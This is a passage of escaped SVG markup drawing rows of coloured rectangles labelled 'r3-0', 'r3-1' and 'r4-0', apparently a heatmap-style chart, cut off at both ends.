style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"90.06875\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"90.06875\"></rect><g transform=\"translate(127.0,108.659375)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r3-0</text></g><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"102.9625\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"102.9625\"></rect><g transform=\"translate(127.0,121.553125)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r3-1</text></g><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"582.4599999999998\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"597.7799999999997\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"613.0999999999998\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"628.4199999999998\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"643.7399999999999\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"659.06\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"674.38\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"689.7\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"705.0200000000001\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"720.3400000000001\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"735.6600000000002\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"750.9800000000002\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"766.3000000000003\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"781.6200000000003\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"796.9400000000004\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"812.2600000000004\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"827.5800000000005\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"842.9000000000005\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"858.2200000000006\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"873.5400000000006\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"888.8600000000007\" y=\"115.85624999999999\"></rect><rect height=\"11.393750000000011\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"904.1800000000007\" y=\"115.85624999999999\"></rect><g transform=\"translate(127.0,134.44687499999998)\"><text style=\"fill:rgb(16.1%,15.3%,14.1%);fill-opacity:1.0;font-family:helvetica;font-size:11.0px;font-weight:normal;stroke:none;vertical-align:baseline;white-space:pre\" x=\"-9.779\" y=\"2.8104999999999993\">r4-0</text></g><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"153.5\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"168.82\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"184.14\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"199.45999999999998\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"214.77999999999997\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"230.09999999999997\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"245.41999999999996\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"260.73999999999995\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"276.05999999999995\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"291.37999999999994\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"306.69999999999993\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"322.0199999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"337.3399999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"352.6599999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"367.9799999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"383.2999999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"398.6199999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"413.9399999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"429.2599999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"444.57999999999987\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"459.89999999999986\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,0%,100%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"475.21999999999986\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,64.7%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"490.53999999999985\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999993\" x=\"505.85999999999984\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"521.1799999999998\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"536.4999999999998\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(0%,50.2%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.82000000000005\" x=\"551.8199999999998\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" style=\"fill:rgb(100%,0%,0%);fill-opacity:1.0;opacity:0.5;stroke:none\" width=\"13.819999999999936\" x=\"567.1399999999999\" y=\"128.75\"></rect><rect height=\"11.393749999999983\" 